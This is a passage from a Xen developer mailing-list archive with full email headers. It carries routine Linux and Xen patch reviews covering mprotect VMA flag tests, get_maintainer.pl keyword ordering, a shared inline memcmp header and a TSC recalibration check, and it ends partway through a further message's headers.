>@@ -894,7 +894,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> 		if (unlikely(grows & PROT_GROWSUP)) {
> 			end = vma->vm_end;
> 			error = -EINVAL;
>-			if (!(vma->vm_flags & VM_GROWSUP))
>+			if (!vma_test(vma, VMA_GROWSUP_BIT))

IIUC, should this be

if (!vma_test_single_mask(vma, VMA_GROWSUP))

instead?

#elif defined(CONFIG_PARISC)
#define VM_GROWSUP	INIT_VM_FLAG(GROWSUP)
...
#ifndef VM_GROWSUP
#define VM_GROWSUP	VM_NONE
...

VM_GROWSUP is only defined as GROWSUP on parisc and becomes VM_NONE
elsewhere. But VMA_GROWSUP_BIT is the raw ARCH_1 bit, which is also used
for other arch-specific VMA flags:

	DECLARE_VMA_BIT_ALIAS(SAO, ARCH_1),		/* Strong Access Ordering (powerpc) */
	DECLARE_VMA_BIT_ALIAS(GROWSUP, ARCH_1),		/* parisc */
	DECLARE_VMA_BIT_ALIAS(SPARC_ADI, ARCH_1),	/* sparc64 */
	DECLARE_VMA_BIT_ALIAS(ARM64_BTI, ARCH_1),	/* arm64 */
	DECLARE_VMA_BIT_ALIAS(ARCH_CLEAR, ARCH_1),	/* sparc64, arm64 */
	DECLARE_VMA_BIT_ALIAS(MAPPED_COPY, ARCH_1),	/* !CONFIG_MMU */

Other vma_test() changes look fine to me: just fixed INIT_VM_FLAG()
masks matching their VMA_*_BIT :)

Cheers, Lance

> 				goto out;
> 		}
> 	}
>@@ -918,7 +918,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> 		}
> 
> 		/* Does the application expect PROT_READ to imply PROT_EXEC */
>-		if (rier && (vma->vm_flags & VM_MAYEXEC))
>+		if (rier && vma_test(vma, VMA_MAYEXEC_BIT))
> 			prot |= PROT_EXEC;
> 
> 		/*
>-- 
>2.54.0
>
>


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 16:21:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 16:21:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350242.1607762 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wexgk-0001OD-G6; Wed, 01 Jul 2026 16:21:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350242.1607762; Wed, 01 Jul 2026 16:21:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wexgk-0001O6-CD; Wed, 01 Jul 2026 16:21:26 +0000
Received: by outflank-mailman (input) for mailman id 1350242;
 Wed, 01 Jul 2026 16:21:25 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <anthony@xenproject.org>) id 1wexgj-0001Nz-IC
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:21:25 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <anthony@xenproject.org>) id 1wexgi-002ATM-2p;
 Wed, 01 Jul 2026 16:21:24 +0000
Received: from [2a01:cb15:80c2:5100:ab28:926e:d542:4784] (helo=l14.home)
 by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <anthony@xenproject.org>) id 1wexgi-004Str-0r;
 Wed, 01 Jul 2026 16:21:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=Content-Transfer-Encoding:MIME-Version:
	Message-ID:Date:Subject:Cc:To:From;
	bh=1G8TPQ9nlhomp1gZxwftFAjMBKP13Qts8muVskspAPk=; b=3t3vfSSzcJ3uaQy3gSX087FhJM
	0Ja44iWmuunYrVmkFzHpnOhfPx6EcnE7wUBv2/lmhG88Rahugenw8wUmTaEH49CXW0H8nqZtZYLKC
	Vt4psi5W8JZ6jBr39Nl6roVKS5XNztAnKFlrAWrTm1Cg6OmJKvpp1xj8B/u2RwWdxHhU=;
From: Anthony PERARD <anthony@xenproject.org>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [XEN PATCH] get_maintainer: Add maintainers based on keyword after removing THE REST
Date: Wed,  1 Jul 2026 18:20:22 +0200
Message-ID: <20260701162022.30265-1-anthony@xenproject.org>
X-Mailer: git-send-email 2.47.3
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

From: Anthony PERARD <anthony.perard@vates.tech>

There's some logic to avoid CC committers (THE REST section) when a
file is fully maintained by a list of maintainers. There's also some
logic to add maintainers if a patch or file contains some keywords.

We do add maintainers based on keyword to the list of $email_to before
checking if we can remove emails from THE REST. And at the time when
checking if we can drop THE REST, we've lost the information which
tell if the maintainers was added because of a keyword of because they
maintain the file.

Reorder the logic, add maintainers based on keywords only after
checking if we can drop THE REST.

For example, if we have a file covered by a sections with only
reviewers, but this file also contains the keyword "XSM", then:
    scripts/get_maintainer.pl -f $file
would suppress THE REST without this patch.

Signed-off-by: Anthony PERARD <anthony.perard@vates.tech>
---
 scripts/get_maintainer.pl | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/scripts/get_maintainer.pl b/scripts/get_maintainer.pl
index 533d0df72ac1..b788665c08b2 100755
--- a/scripts/get_maintainer.pl
+++ b/scripts/get_maintainer.pl
@@ -720,13 +720,6 @@ sub get_maintainers {
 	$suppress_the_rest = 0 if $file_maintained_by_the_rest;
     }
 
-    if ($keywords) {
-	@keyword_tvi = sort_and_uniq(@keyword_tvi);
-	foreach my $line (@keyword_tvi) {
-	    add_categories($line);
-	}
-    }
-
     if ($email_drop_the_rest_supporter_if_supporter_found &&
 	$suppress_the_rest && $#email_to > 0) {
         my @email_new;
@@ -748,6 +741,13 @@ sub get_maintainers {
             if $do_replace;
     }
 
+    if ($keywords) {
+	@keyword_tvi = sort_and_uniq(@keyword_tvi);
+	foreach my $line (@keyword_tvi) {
+	    add_categories($line);
+	}
+    }
+
     foreach my $email (@email_to, @list_to) {
 	$email->[0] = deduplicate_email($email->[0]);
     }
-- 
Anthony PERARD



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 18:41:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 18:41:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350332.1607799 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wezrZ-0008RP-2w; Wed, 01 Jul 2026 18:40:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350332.1607799; Wed, 01 Jul 2026 18:40:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wezrY-0008R6-Ts; Wed, 01 Jul 2026 18:40:44 +0000
Received: by outflank-mailman (input) for mailman id 1350332;
 Wed, 01 Jul 2026 18:40:43 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <bp@alien8.de>) id 1wezrW-0008Qy-OY
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 18:40:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wezrW-003hhu-5a
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 20:40:42 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <bp@alien8.de>)
 id 6a455f0e-5cb7-0a2a0a5109dd-0a2a4507c504-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 20:40:42 +0200
Received: from [65.109.113.108] (helo=mail.alien8.de)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <bp@alien8.de>)
 id 6a455f29-9c8e-0a2a45070019-416d716cb4c0-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 20:40:41 +0200
Received: from localhost (localhost.localdomain [127.0.0.1])
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTP id EEC0B40E00BA; 
 Wed,  1 Jul 2026 18:40:40 +0000 (UTC)
Received: from mail.alien8.de ([127.0.0.1])
 by localhost (mail.alien8.de [127.0.0.1]) (amavisd-new, port 10026)
 with ESMTP id 19fnkjO55P1L; Wed,  1 Jul 2026 18:40:31 +0000 (UTC)
Received: from stx.tnic (unknown [IPv6:2600:1700:38ca:c00::1a])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (P-256) server-signature ECDSA (P-256) server-digest
 SHA256) (No client certificate requested)
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id 18D6840E01B4;
 Wed,  1 Jul 2026 18:40:16 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=alien8 header.d=alien8.de header.i="@alien8.de" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
X-Virus-Scanned: Debian amavisd-new at mail.alien8.de
Authentication-Results: mail.alien8.de (amavisd-new); dkim=pass (4096-bit key)
	header.d=alien8.de
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=alien8.de; s=alien8;
	t=1782931229; bh=weptln60tMwwD122PJFo5tc1DKGFh3noLSr54y5FDM0=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=dqyuEsjEVT9gyPjvdK0gB5x8udKkER2yawHRi+UQEK+nSKtnQR7DqxnnysUwrhZ4y
	 GEGQkqI5XAFvG1t8U2Y0yVX0X96Dkhmh5EwnBm0uCgn64X5pR8kizQhepQrg5RJVfx
	 qUeJHxhUmgPresH3hRbZyZh0kueU1Ju5NETJbOfwZhSqElniJL1AEnSpbjasfSFiE9
	 v/o+NI29PkbYU+rfKXFOWwxZXCYPQYqqGAQWQXhtRsJ1cTf+sfy2hx0FR9pco10cly
	 DO6HZ62yBAjyi9FZFFsJKBYyglK/BjgeznIdmPdc5rFCzPqbQQcdKeQ5UGCYbMWjrG
	 oHXEh4L4uZa6zbt8QFVTJ4hJ1YeAnJdvjaVt294z3OfoLJX6/uIbjQtwAnpz9MnYtl
	 xiCxqS5jRHRFEfGjp25M4NiMFdoi9hguJiOpozhjTXhYeT+bnTVAeFzmnURNuvDo/3
	 SJT7xXGuQNk62DwNud+YNzMxR2um9INkkbFGvejhVA/Z95R+NSbczIl3Xr3lZ9NwvV
	 saYsDBqdR4cu3TmYaZniJ6Vt2dYtVgh9o7L/WEgwSWqU1Xot15YB3RErxX11EJCFYC
	 wSrHRfjccElKOiCbInvfFhymOEbedF0htWOg3udYoD9+y+m8vZWCrLx0sGwnZTKB1X
	 eXAePUQovsvmfd1bdtheCQ+Y=
Date: Wed, 1 Jul 2026 11:40:14 -0700
From: Borislav Petkov <bp@alien8.de>
To: Mauricio Faria de Oliveira <mfo@igalia.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>, Juergen Gross <jgross@suse.com>,
	Alexey Dobriyan <adobriyan@gmail.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH RESEND v5 1/3] x86/asm, x86/boot: expose inline memcmp
Message-ID: <20260701184014.GDakVfDhIgaIKurzTb@fat_crate.local>
References: <20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com>
 <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
X-purgate-ID: tlsNG-ef75cf/1782931242-7C92A25E-D19B88E0/0/0
X-purgate-type: clean
X-purgate-size: 2418

On Tue, Jun 30, 2026 at 02:21:46PM -0300, Mauricio Faria de Oliveira wrote:
> Move the inline memcmp function currently only available in 'boot/string.c'
> into the shared string function header <asm/shared/string.h> to be reused.
> 
> This is not done through <asm/string.h> to avoid pulling unnecessary code
> in 'boot/string.c' that causes build errors in 'boot/compressed/string.c'
> and 'purgatory/purgatory.ro'.
> 
> Note that the inline memcmp() returns 0/1, not -1/0/1 as regular memcmp()
> (reported by David Laight <david.laight.linux@gmail.com>).

This belongs ...


> 
> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
> ---

... here, if anywhere.

>  arch/x86/boot/string.c               |  6 ++----
>  arch/x86/include/asm/shared/string.h | 16 ++++++++++++++++
>  arch/x86/include/asm/string.h        |  1 +
>  3 files changed, 19 insertions(+), 4 deletions(-)

Also, PeterZ has a point - we should group all __inline_ functions into
shared/string.h and say why that is the case at the top of the header.

> diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
> index ac0f900ebc47efa81c92e1bb2010ea41677899c4..be454a6864225f3a972c3e81826b77ed4e8a57fe 100644
> --- a/arch/x86/boot/string.c
> +++ b/arch/x86/boot/string.c
> @@ -15,6 +15,7 @@
>  #include <linux/errno.h>
>  #include <linux/limits.h>
>  #include <asm/asm.h>
> +#include <asm/shared/string.h>
>  #include "ctype.h"
>  #include "string.h"
>  
> @@ -31,10 +32,7 @@
>  
>  int memcmp(const void *s1, const void *s2, size_t len)
>  {
> -	bool diff;
> -	asm("repe cmpsb"
> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
> -	return diff;
> +	return __inline_memcmp(s1, s2, len);
>  }
>  
>  /*
> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
> new file mode 100644
> index 0000000000000000000000000000000000000000..422952152f533ad75b98f3873297b39c4f5e2477
> --- /dev/null
> +++ b/arch/x86/include/asm/shared/string.h
> @@ -0,0 +1,16 @@
> +/* SPDX-License-Identifier: GPL-2.0 */
> +#ifndef _ASM_X86_SHARED_STRING_H
> +#define _ASM_X86_SHARED_STRING_H
> +
> +/* Note: this memcmp() returns 0/1, not -1/0/1 as regular memcmp(). */

Please document it properly - what does 0 mean as a return value and what 1.

Thx.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350366.1607835 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fh-0008Dw-EV; Wed, 01 Jul 2026 19:32:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350366.1607835; Wed, 01 Jul 2026 19:32:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fh-0008Dp-Bj; Wed, 01 Jul 2026 19:32:33 +0000
Received: by outflank-mailman (input) for mailman id 1350366;
 Wed, 01 Jul 2026 19:32:31 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3TGtFagYKCZEDzv84x19916z.x97Iz8-yzGz663DED.Iz8AC94zxE.9C1@flex--seanjc.bounces.google.com>)
 id 1wf0ff-0007zs-N1
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0ff-009wmK-3z
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:31 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3TGtFagYKCZEDzv84x19916z.x97Iz8-yzGz663DED.Iz8AC94zxE.9C1@flex--seanjc.bounces.google.com>)
 id 6a456b4a-e002-0a2a0a5209dd-0a2a45049d7c-14
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:31 +0200
Received: from [209.85.215.201] (helo=mail-pg1-f201.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3TGtFagYKCZEDzv84x19916z.x97Iz8-yzGz663DED.Iz8AC94zxE.9C1@flex--seanjc.bounces.google.com>)
 id 6a456b4d-a01d-0a2a45040019-d155d7c9d5d3-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:30 +0200
Received: by mail-pg1-f201.google.com with SMTP id
 41be03b00d2f7-c890bac374eso1130211a12.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934349; x=1783539149; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=LIZd+3O3352vjgCRNr7RtXOU8moEkEwJFa5rPF13Bys=;
        b=fWhuJTSH9F0LxNXwM51JmmDSaGne7DlthsbIvNEuy/j2XdAyRqR9wfSwo+I21iBh7l
         alzYdN+y9DKLhH4EMvZYYukJZ/Vxq1cOkBSLeC38n59EE4/lK049AJ+i4N9htV+rwsZj
         vxlkywhlNrYUhnFqumIktWVjxpdWQg+qBF2AID7v8n+Dz9M9BlE3Vr1VmJa2rTaAmZRD
         cJaHNPNG1PJhUfdGbfyChZbNQu+9u36XEc0z3YzNByewonYC7pib9kIrlyBYdNp8beYM
         mbn0oZGkDyE8Iby0HjeuRUMUfZ53hZDsoUx/t6MSTmxDKdkohSSkJoeNWGgl3IUTfX/B
         bNJg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934349; x=1783539149;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=LIZd+3O3352vjgCRNr7RtXOU8moEkEwJFa5rPF13Bys=;
        b=LT4edtyzfzfmyUJMZIzFuqrjURWffKZIRhvVTzsEmMynQ3z9gYSWRLw33W1Ca1p6YK
         2EPnA8lc0mM7LDNSDN+ySO2v6Rnevc3p9XyU7kLvqXOBkJIR/2NDQgebUJIozzESCOYg
         S8qGFC5Ibsv9Qy5jy5TaJz14Kfw1dMO4PArR65IKUFiHVKKdRvyQmt8p7myyQ2perG2N
         7ZsWTPLH1/nSC+FJI+UaWH0xaDjAw020vmsBnqjqgqXq3onYU5pwmoXKTnBy27XQlAge
         q6dnHR6m/oK/7xcv5xXn/aqg0L0BnVWJoZTupXwr+gvvJQDv256qO2Z5EqGU93CvkyhX
         LDTQ==
X-Forwarded-Encrypted: i=1; AFNElJ9JhS2s1rzK5nRoIedvWNbWj5X9WFe6zdnKzFCFRo+kxYLfp1rT6y2Rp0ivjb3cvU2U8YcKw6uJSdA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxfXHD9ClkzEbDct+vo+SXrq5AtVVi+9zrCpykad+EkTdFzOT+i
	DzkNQJQDIYsUMf/I9GGlb4ojJGZFZ9Yp3vlLqIlonstvTn0bBbGlCLkj6C1n7JK2+wOdZOvrnQ5
	4Jcglpw==
X-Received: from pgbcx9.prod.google.com ([2002:a05:6a02:2209:b0:c9a:eb48:4a8])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:e196:b0:3bf:8604:9a3c
 with SMTP id adf61e73a8af0-3bfed3e9622mr3622600637.28.1782934348718; Wed, 01
 Jul 2026 12:32:28 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:24 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-4-seanjc@google.com>
Subject: [PATCH v5 03/51] x86/tsc: Ensure that TSC recalibration doesn't run
 if TSC frequency is known
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934351-AEB2B1CC-6C7722F5/0/0
X-purgate-type: clean
X-purgate-size: 1418

When attempting TSC recalibration post-boot, which is only done for ancient
CPUS (P4 and K7) on SMP=n kernels, assert that the TSC frequency isn't
known (explicitly provided by hardware) by way of MSR or CPUID, and bail if
the impossible happens.  In practice, recalibration and TSC_KNOWN_FREQ are
mutually exclusive, as TSC_KNOWN_FREQ will only be set when running on
hardware that was released decades after recalibration was obsoleted, but
but it's hard to see that, especially when looking at just the TSC code.

Note, the WARN can likely be tripped by running in a virtual machine and
concocting an impossible CPU model, e.g. by combining a P4 signature with
CPUID 0x15.  This is working as intended, as such a virtual CPU model is
wildly out-of-spec and is not supported.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/tsc.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 4d6a446645c0..4393902c0ddd 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -930,6 +930,9 @@ void recalibrate_cpu_khz(void)
 	if (!boot_cpu_has(X86_FEATURE_TSC))
 		return;
 
+	if (WARN_ON_ONCE(cpu_feature_enabled(X86_FEATURE_TSC_KNOWN_FREQ)))
+		return;
+
 	cpu_khz = x86_platform.calibrate_cpu();
 	tsc_khz = x86_platform.calibrate_tsc();
 	if (tsc_khz == 0)
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350364.1607817 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fd-0007mb-Tw; Wed, 01 Jul 2026 19:32:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350364.1607817; Wed, 01 Jul 2026 19:32:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fd-0007mU-Qo; Wed, 01 Jul 2026 19:32:29 +0000
Received: by outflank-mailman (input) for mailman id 1350364;
 Wed, 01 Jul 2026 19:32:29 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3SWtFagYKCY4Aws51uy66y3w.u64Fw5-vwDw330ABA.Fw57961wuB.69y@flex--seanjc.bounces.google.com>)
 id 1wf0fc-0007Zv-SD
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fc-00Bw10-95
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:28 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3SWtFagYKCY4Aws51uy66y3w.u64Fw5-vwDw330ABA.Fw57961wuB.69y@flex--seanjc.bounces.google.com>)
 id 6a456b35-bab6-0a2a0a5309dd-0a2a450a9d4e-16
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:28 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3SWtFagYKCY4Aws51uy66y3w.u64Fw5-vwDw330ABA.Fw57961wuB.69y@flex--seanjc.bounces.google.com>)
 id 6a456b4a-e40e-0a2a450a0019-d155d6cac001-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:28 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c80f89b64bso15742295ad.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
